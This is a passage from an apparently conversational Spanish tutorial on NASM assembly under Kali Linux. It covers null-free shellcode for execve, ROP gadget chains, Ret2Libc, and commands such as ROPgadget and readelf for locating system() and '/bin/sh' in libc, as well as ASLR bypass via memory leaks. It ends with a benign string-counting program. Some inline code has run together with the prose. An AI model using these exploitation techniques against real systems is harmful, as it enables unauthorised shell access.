mov al, 59 ; AL = 59 (Solo tocamos los 8 bits bajos)
syscall
4. Verificación en Kali
Si ensamblas este código y lo inspeccionas con objdump, verás la diferencia:
nasm -f elf64 shell_limpio.asm -o shell_limpio.o
ld shell_limpio.o -o shell_limpio
objdump -d shell_limpio
Fíjate en la columna de la izquierda: Ya no deberías ver parejas de 00. Tu código ahora es "invisible" para las funciones que buscan el final de cadena.
5. El siguiente nivel: ASLR y NX
Incluso con una shellcode perfecta, Kali y los sistemas modernos tienen protecciones:
NX (No-eXecute): Marca la pila como "no ejecutable". Si intentas correr código ahí, el programa crashea.
ASLR: Mueve las direcciones de memoria cada vez que el programa arranca para que no sepas dónde está la pila.
¡Bienvenido a la "joya de la corona" del hacking moderno! ROP (Return-Oriented Programming) es la técnica que se inventó para derrotar la protección NX (No-eXecute).
Como la pila ahora está marcada como "solo datos" (no puedes ejecutar código ahí), los hackers dejaron de intentar inyectar su propio código. En su lugar, empezaron a usar el código que ya existe dentro del programa o de sus librerías (como libc).
1. El Concepto: "Gadgets"
Imagina que quieres escribir una nota de rescate, pero no tienes papel ni boli. Entonces recortas letras de un periódico existente y las pegas. Eso es ROP.
Un Gadget es una pequeña secuencia de instrucciones que ya están en el programa y que terminan en un ret. Por ejemplo:
pop rax; retxor rdi, rdi; retsyscall; ret
2. ¿Cómo funciona el "Ataque"?
En lugar de saltar a tu shellcode, desbordas la pila con una cadena de direcciones (ROP Chain). Cada dirección apunta a un "gadget" diferente.
El programa ejecuta
rety salta al Gadget 1.El Gadget 1 hace algo (ej. limpia un registro) y su propio
rethace que el programa salte al Gadget 2.El Gadget 2 hace otra cosa y salta al Gadget 3.
Es como un juego de "conecta los puntos" en la memoria del programa.
3. Ejemplo: Preparando una Syscall con ROP
Si quieres ejecutar execve, necesitas poner un 59 en RAX. En lugar de escribir código, buscas en el programa una zona que tenga estas instrucciones:
; Buscamos esto en el ejecutable (Gadget)
pop rax
ret
Tu carga útil (Payload) en la pila se vería así:
Dirección del gadget
pop rax; retEl número 59 (que el
popmeterá enrax)Dirección del siguiente gadget (ej.
pop rdi; ret)Dirección de la cadena "/bin/sh"
Dirección de la instrucción
syscall
4. Herramientas en Kali para encontrar Gadgets
No tienes que buscar estas piezas a mano. Kali tiene herramientas increíbles como ROPgadget o ropper.
Si tienes un programa llamado vulnerable, puedes buscar piezas así:
ROPgadget --binary vulnerable | grep "pop rax"
Te devolverá algo como: 0x0000000000401234 : pop rax ; ret. ¡Esa dirección es la que pones en tu exploit!
5. El "Jaque Mate": Ret2Libc
La forma más común de ROP es Ret2Libc. Como casi todos los programas en Linux cargan la librería estándar de C (libc), los hackers simplemente buscan la dirección de la función system() y la dirección de la cadena "/bin/sh" que ya están dentro de libc.
Saltas directamente a system("/bin/sh") y el sistema te regala la shell sin que hayas escrito ni una sola línea de código nuevo.
¿Te das cuenta de la ironía? Usamos las propias funciones del programa para destruirlo.
Para cerrar con broche de oro, vamos a aprender a localizar objetivos dentro de un binario. En Kali Linux, cuando tienes un archivo ejecutable y quieres hacerle ingeniería inversa o un exploit, necesitas saber dónde están las funciones en la memoria.
Para esto usaremos dos herramientas fundamentales: nm y readelf.
1. Usando nm (Listar Símbolos)
El comando nm te muestra la "tabla de símbolos". Es como el índice de un libro que te dice en qué página (dirección de memoria) empieza cada capítulo (función).
Si tomamos nuestro programa anterior funciones (el que tenía la función sumar_y_limpiar):
nm funciones
Lo que verás en la terminal:
0000000000401000 T _start
0000000000401020 t sumar_y_limpiar
La primera columna: Es la dirección de memoria en hexadecimal.
La "T" o "t": Significa que el símbolo está en la sección de código (
.text).El nombre: Es la etiqueta que pusiste en tu código NASM.
2. Usando readelf (Ver las entrañas del ELF)
En Linux, los ejecutables usan el formato ELF (Executable and Linkable Format). readelf es una herramienta más potente que nm porque te permite ver las secciones del archivo.
Para ver dónde empieza la sección de código y dónde la de datos:
readelf -S funciones
Esto es vital para un ataque ROP, porque necesitas saber qué zonas de la memoria tienen permisos de ejecución (X) y cuáles solo de escritura (W).
3. Localizar funciones en Librerías Compartidas (libc)
Este es el truco real. Si quieres usar la función system de C para lanzar una shell, primero debes saber dónde está la librería libc en tu sistema Kali:
ldd funciones
(Esto te dirá la ruta de la libc.so.6 que está usando el programa).
Luego, puedes buscar la dirección de system dentro de esa librería:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
4. El Gran Final: ¿Por qué esto es difícil hoy en día?
Aquí es donde entra el ASLR (Address Space Layout Randomization). Si ejecutas nm verás una dirección, pero cuando el programa corre de verdad, el Kernel de Linux mueve todo a una dirección aleatoria para que no puedas predecir dónde está system.
¿Cómo lo saltan los hackers?
Buscan una "fuga de memoria" (Memory Leak) para saber dónde se movió una sola pieza.
Como la distancia entre funciones dentro de
libcsiempre es la misma (el offset), si encuentran una, ¡las encuentran todas!
Tu camino como Ninja de NASM y Kali
Has pasado de no saber nada a entender:
Sintaxis básica y registros.
Gestión de la Pila (Stack).
Llamadas al sistema (Syscalls).
Creación de Shellcodes sin nulos.
Conceptos avanzados de ROP y explotación.
¡Esa es una habilidad fundamental! El procesamiento de cadenas (String Processing) es lo que permite a los programas analizar comandos, buscar virus o incluso descifrar mensajes.
En ensamblador, para recorrer una cadena, necesitamos un puntero (una dirección de memoria) y un bucle que avance byte por byte hasta encontrar el final (que suele ser un 0 o un 10 de Enter).
1. El Concepto: Direccionamiento Indirecto
Para leer una cadena, usamos registros como RSI (Source Index). No queremos el valor de la dirección, sino el contenido de lo que hay en esa dirección.
mov rax, rsi-> Copia la dirección (ej. 0x401000).mov al, [rsi]-> Copia el carácter que está en esa dirección (ej. 'H').
2. El Código: contar_caracteres.asm
Vamos a hacer un programa que recorra una frase y cuente cuántas letras tiene antes de llegar al final.
section .data
frase db "Kali Linux es potente", 10, 0 ; Terminamos en 0 (Null-terminated)
section .text
global _start
_start:
mov rsi, frase ; RSI apunta al inicio de la cadena
xor rcx, rcx ; RCX será nuestro contador, lo ponemos a 0
bucle_recorrido:
mov al, [rsi] ; Movemos el byte actual a AL
cmp al, 0 ; ¿Es el fin de la cadena (0)?
je finalizar ; Si es cero, saltamos al final
; --- Aquí puedes procesar el carácter ---
; Por ahora, solo incrementamos el contador
inc rcx ; RCX++
inc rsi ; Movemos el puntero al siguiente byte
jmp bucle_recorrido ; Repetimos
finalizar:
; Al llegar aquí, RCX tiene la longitud de la frase
mov rdi, rcx ; Lo pasamos a RDI para verlo con echo $?
mov rax, 60 ; syscall: exit
syscall
3. Técnicas Avanzadas de Cadenas
El procesador x86 tiene instrucciones específicas para hacer esto mucho más rápido (instrucciones de cadena):
lodsb: Carga el byte en[RSI]haciaALe incrementaRSIautomáticamente.stosb: Guarda el byte deALen[RDI]e incrementaRDI.scasb: ComparaALcon[RDI](útil para buscar una letra específica).rep: Un prefijo que repite la instrucción automáticamente mientrasRCXno sea cero.
4. Ejercicio de "Hacker": Cambiar Minúsculas a Mayúsculas
Si quisieras transformar la frase a mayúsculas mientras la recorres, solo tendrías que añadir una línea dentro del bucle. En la tabla ASCII, la diferencia entre 'a' (97) y 'A' (65) es siempre 32.
; Dentro del bucle, antes de inc rsi:
cmp al, 'a'
jl saltar_cambio ; Si es menor que 'a', no es minúscula
cmp al, 'z'
jg saltar_cambio ; Si es mayor que 'z', no es minúscula
sub byte [rsi], 32 ; Restamos 32 para convertir a Mayúscula
saltar_cambio: